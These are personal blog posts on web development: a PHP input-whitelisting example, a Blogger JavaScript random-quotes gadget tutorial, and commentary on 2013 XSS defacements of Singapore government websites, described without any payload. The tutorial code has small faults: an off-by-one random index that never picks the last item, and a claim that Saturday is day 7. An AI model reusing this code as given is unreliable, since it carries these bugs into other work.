See what went on there? The variables reportmonth and reportyear were forced to conform to a range of values. reportmonth had to be a value from 1 to 12. reportyear had to be a value from 1969 to the current year. This makes it impossible for the values to do any damage if written as part of an SQL string.

What if input is a string? 

Well, in that case we can't convert the value to integer. But, we can still make input conform via an array. URL: products.php?type=cars
<?php
$producttype = $_GET["type"];

$wl_producttype = array();
$wl_producttype[] = "buses";
$wl_producttype[] = "cars";
$wl_producttype[] = "vans";
$wl_producttype[] = "lorries";

if (!in_array($producttype,$wl_producttype)) $error=true;
?>

With this, we ensure that the value of producttype is either "buses", "cars", "vans" or "lorries". All else produces an error.

What if there's no range to conform to? 

That can happen, yes. If, for example, the parameter is a search string and thus can theoretically be any value, then there's no conformity to speak of. Therein lies the limitation of whitelisting. Simple and elegant, but applicable only to very specific instances such as those outlined.

Why go to that trouble, then?

You'd be surprised, though, how many web developers don't bother with this, hoping that more advanced techniques will catch any monkey business. I think that's terribly short-sighted. It's good to secure your code at a logical level to weed out any possible exceptions before letting more advanced security techniques do their job.

messagetype=goodbye&article=whitelisting
T___T

Friday, 16 January 2015

Web Tutorial: Google Blog HTML/JavaScript Random Quotes Gadget (Part 2/2)

You'll have noticed by now that the gadget title always shows the current day of the week, along with a funky description. That's no coincidence, and we'll be tinkering more with arrays - this time multi-dimensional arrays. We'll also be messing about with the JavaScript date function.

Date functions: (http://www.w3schools.com/js/js_date_methods.asp)
Multi-dimensional arrays: (http://www.quackit.com/javascript/tutorial/two_dimensional_arrays.cfm)

Now what we need to do first, is get the id of your JavaScript gadget div. Right click and view source on your blog's main page, and do a search for the title of your gadget (in my case, it's "RandomQuote").

Screenshot


Found it? OK, in this case, the id is HTML1. Your mileage may vary. We'll need the id for some Document Object Model (DOM) manipulation later. Firstly, we get today's date and retrieve the day from it, like so.
<script>
var quotes=new Array();
quotes[0]="\"In 1969 I gave up women and alcohol. It was the worst 20 minutes of my life.\" - George Best";
quotes[1]="\"Some people believe football is a matter of life and death. I am very disappointed with that attitude. I can assure you it is much, much more important than that.\" - Bill Shankly";
quotes[2]="\"They say 'go with the flow', but you know what else goes with the flow? Dead fish.\" - Roy Keane";
quotes[3]="\"Behind every kick of the ball there has to be a thought.\" - Dennis Bergkamp";
quotes[4]="\"Success is no accident. It is hard work, perseverance, learning, studying, sacrifice and most of all, love of what you are doing or learning to do.\" - Pele";

document.getElementById("txtQuote").innerHTML=quotes[Math.floor(Math.random() * (quotes.length-1))];

var d = new Date();
var day=d.getDay();

</script> 

Next, we define an array weekdays that stores the names of the days. Sunday starts from 0, all the way to Saturday, which is 7.
<script>
var quotes=new Array();
quotes[0]="\"In 1969 I gave up women and alcohol. It was the worst 20 minutes of my life.\" - George Best";
quotes[1]="\"Some people believe football is a matter of life and death. I am very disappointed with that attitude. I can assure you it is much, much more important than that.\" - Bill Shankly";
quotes[2]="\"They say 'go with the flow', but you know what else goes with the flow? Dead fish.\" - Roy Keane";
quotes[3]="\"Behind every kick of the ball there has to be a thought.\" - Dennis Bergkamp";
quotes[4]="\"Success is no accident. It is hard work, perseverance, learning, studying, sacrifice and most of all, love of what you are doing or learning to do.\" - Pele";
document.getElementById("txtQuote").innerHTML=quotes[Math.floor(Math.random() * (quotes.length-1))];

var d = new Date();
var day=d.getDay();

var daynames=new Array();
daynames[0]="Sunday";
daynames[1]="Monday";
daynames[2]="Tuesday";
daynames[3]="Wednesday";
daynames[4]="Thursday";
daynames[5]="Friday";
daynames[6]="Saturday";
</script> 

Now, we're going to define another array, descriptors, which has the same number of elements as the array weekdays. But with a difference. It's a multi-dimensional array. Each weekday has different descriptors, right? So do the following (this is just an example, make your own descriptors!).
<script>
var quotes=new Array();
quotes[0]="\"In 1969 I gave up women and alcohol. It was the worst 20 minutes of my life.\" - George Best";
quotes[1]="\"Some people believe football is a matter of life and death. I am very disappointed with that attitude. I can assure you it is much, much more important than that.\" - Bill Shankly";
quotes[2]="\"They say 'go with the flow', but you know what else goes with the flow? Dead fish.\" - Roy Keane";
quotes[3]="\"Behind every kick of the ball there has to be a thought.\" - Dennis Bergkamp";
quotes[4]="\"Success is no accident. It is hard work, perseverance, learning, studying, sacrifice and most of all, love of what you are doing or learning to do.\" - Pele";

document.getElementById("txtQuote").innerHTML=quotes[Math.floor(Math.random() * (quotes.length-1))];

var d = new Date();
var day=d.getDay();

var daynames=new Array();
daynames[0]="Sunday";
daynames[1]="Monday";
daynames[2]="Tuesday";
daynames[3]="Wednesday";
daynames[4]="Thursday";
daynames[5]="Friday";
daynames[6]="Saturday";

var descriptors=new Array();
descriptors[0]=new Array("Serene","Supreme","Sonorous","Silent","Sleepy");
descriptors[1]=new Array("Manic","Majestic","Monstrous","Mysterious","Magical");
descriptors[2]=new Array("Twitchy","Twisted","Tenacious","Tempestous","Terse");
descriptors[3]=new Array("Wicked","Wonderful","Whimsical","Whirlwind","Wishful");
descriptors[4]=new Array("Terrific","Thunderous","Torrid","Tepid","Tingly");
descriptors[5]=new Array("Fantastic","Friendly","Furious","Freaky","Frenetic");
descriptors[6]=new Array("Sizzling","Salacious","Sinister","Silky","Scintillating");

</script>

You'll see that each element in the descriptors array is also an array, and stores all the different descriptors for that particular weekday. So now you add in this line.
<script>
var quotes=new Array();
quotes[0]="\"In 1969 I gave up women and alcohol. It was the worst 20 minutes of my life.\" - George Best";
quotes[1]="\"Some people believe football is a matter of life and death. I am very disappointed with that attitude. I can assure you it is much, much more important than that.\" - Bill Shankly";
quotes[2]="\"They say 'go with the flow', but you know what else goes with the flow? Dead fish.\" - Roy Keane";
quotes[3]="\"Behind every kick of the ball there has to be a thought.\" - Dennis Bergkamp";
quotes[4]="\"Success is no accident. It is hard work, perseverance, learning, studying, sacrifice and most of all, love of what you are doing or learning to do.\" - Pele";

document.getElementById("txtQuote").innerHTML=quotes[Math.floor(Math.random() * (quotes.length-1))];

var d = new Date();
var day=d.getDay();

var daynames=new Array();
daynames[0]="Sunday";
daynames[1]="Monday";
daynames[2]="Tuesday";
daynames[3]="Wednesday";
daynames[4]="Thursday";
daynames[5]="Friday";
daynames[6]="Saturday";

var descriptors=new Array();
descriptors[0]=new Array("Serene","Supreme","Sonorous","Silent","Sleepy");
descriptors[1]=new Array("Manic","Majestic","Monstrous","Mysterious","Magical");
descriptors[2]=new Array("Twitchy","Twisted","Tenacious","Tempestous","Terse");
descriptors[3]=new Array("Wicked","Wonderful","Whimsical","Whirlwind","Wishful");
descriptors[4]=new Array("Terrific","Thunderous","Torrid","Tepid","Tingly");
descriptors[5]=new Array("Fantastic","Friendly","Furious","Freaky","Frenetic");
descriptors[6]=new Array("Sizzling","Salacious","Sinister","Silky","Scintillating");

var textdiv=document.getElementById("HTML1");

var replacetext=textdiv.innerHTML;
replacetext=replacetext.replace("RandomQuote",descriptors[day][Math.floor(Math.random() * (descriptors[day].length-1))]+" "+daynames[day]);
textdiv.innerHTML=replacetext;
</script>

This creates a string based on a randomly-selected descriptor descriptors[day][Math.floor(Math.random() * (descriptors[day].length-1))] and pairs it with the weekday daynames[day]. Then the innerHTML value of your entire gadget is extracted (using the id HTML1) and the word RandomQuote is replaced by the entire composite string using the replace() method!

For more on the replace() function, click here. (http://www.w3schools.com/jsref/jsref_replace.asp)

And there you go. Click Save, and you should be set. I know the code's not very friendly to read, but you're a smart chap (well, you are reading this blog, so you definitely have good taste), you'll figure it out eventually. This method is definitely hackish though, so I wouldn't recommend it if you're skittish about possibly breaking something. In fact, extrapolating from what we did, you'll have a good idea of how to deface a website using an XSS attack.

That's it! Hope you had a ball.
T___T

Thursday, 1 January 2015

Thoughts on the Website Defacements in 2013

Happy 2015! Wishing you happiness safety and health! In whichever order of preference!

Last month, a Singaporean by the name of Mohammad Azhar bin Tahir was jailed for defacing the Prime Minister's official website. in 2013. This was in addition to the case of Delson Moo, who was fined SGD 8000 for a similar offense, this one concerning the Istana.

This is what happened to the PM's official website:

Screenshot 1


This is what happened to the Istana website:

Screenshot 2


The Singapore Police Force website was also defaced with an overlay of an image of two men engaging in explicit buttsex having an intense bonding moment. No, I'm not going to show you a screencap, pervert.

The Technical Specifics 

The attacks were classified as a kind of Cross-Site Scripting (XSS) attack, where the attacker used the Search bar of the website to input codes that would overlay an image on top of the website, thus defacing it.

More about XSS: http://en.wikipedia.org/wiki/Cross-site_scripting

Infocomm Development Authority of Singapore (IDA) claimed that the web sites were not hacked as both the Prime Minister's Office and Istana main sites were still working. Technically, they are correct - server data was not compromised and any damage done was on a superficial level. But it would be a mistake to say that the damage done was only on a superficial level. These were Government websites, and the Government (particularly those responsible for the website) was made to look like a bunch of rank amateurs. There is no "only" superficial damage.

Especially when you consider that the Prime Minister's official website was compromised not long after Prime Minister Lee Hsien Loong famously issued a warning to would-be attackers.

"It is not just anything goes and you are anonymous, therefore there is no responsibility. You may think you are anonymous. We will make that extra effort to find out who you are."

What did the attackers suffer? Some jail time, perhaps a fine of a few thousand bucks. And the government? A huge foot-in-mouth moment and a tremendous loss in credibility.

Yes, no data was lost, altered or stolen.

Yes, the damage was restricted to the visual aspect of the sites.

Yes, it could be worse. Way worse.

No, all this does not make it OK.

The average web-user is visual creature - he judges with his eyes. And since he can't see the database (which is intact) and can only see the front-end layout (which is not), he can hardly be blamed for assuming the worst. Loss of public confidence is not a small matter for those in authority.

But I'm glad these attacks were carried out. If nothing else, this has driven home a valuable point to the public, one which the average web developer would have known by now: Government websites are not extra-safe just because they are Government websites. In other words, don't trust the Government blindly, and don't place them on a pedestal. They're as fallible as the next man.

That's not to say I think that Government websites should be bulletproof. No site in the world is bulletproof - it is merely a matter of time and effort. What is appalling is that these websites could have been defaced using such a schoolboy method. All the attackers had to do was manipulate the search bar function, and in certain cases, just the URL. XSS Attacks come in countless forms - and the types of XSS attacks used to deface these websites were among the most unsophisticated.

Contrast this with what happened to the Swedish Government, also last month. Hackers broke into the email accounts of the Swedes. I'm sure I don't have to tell you that's a different class altogether from a crummy surface-level XSS attack.

A possible cause of the problem 

To be fair though, it's not just these websites which have such vulnerabilities to exploit. Plenty of others do.

In my time as a vendor-based developer, I've seen projects being outsourced to smaller companies, and even to outfits in India and Malaysia who would do the work for a fraction of the price quoted to the original customer. By the time the project went down the chain, what was originally a 10k project would likely have become a 1k project. These "factories" might churn out something resembling the specifications using off-the-shelf software. Visually the final product would be satisfactory, but what about security? Oh, you wanted your site to be watertight, too? Then maybe you should have paid for that, you cheap shit.

For those at the bottom rung of the outsourcing ladder, there are very few consequences for failure. I mean, can you see yourself suing some tiny firm in Timbuktu for botching a job you should have done yourself?

I didn't think so.

Stay vigilant. There's no such thing as XXS-ive security!
T___T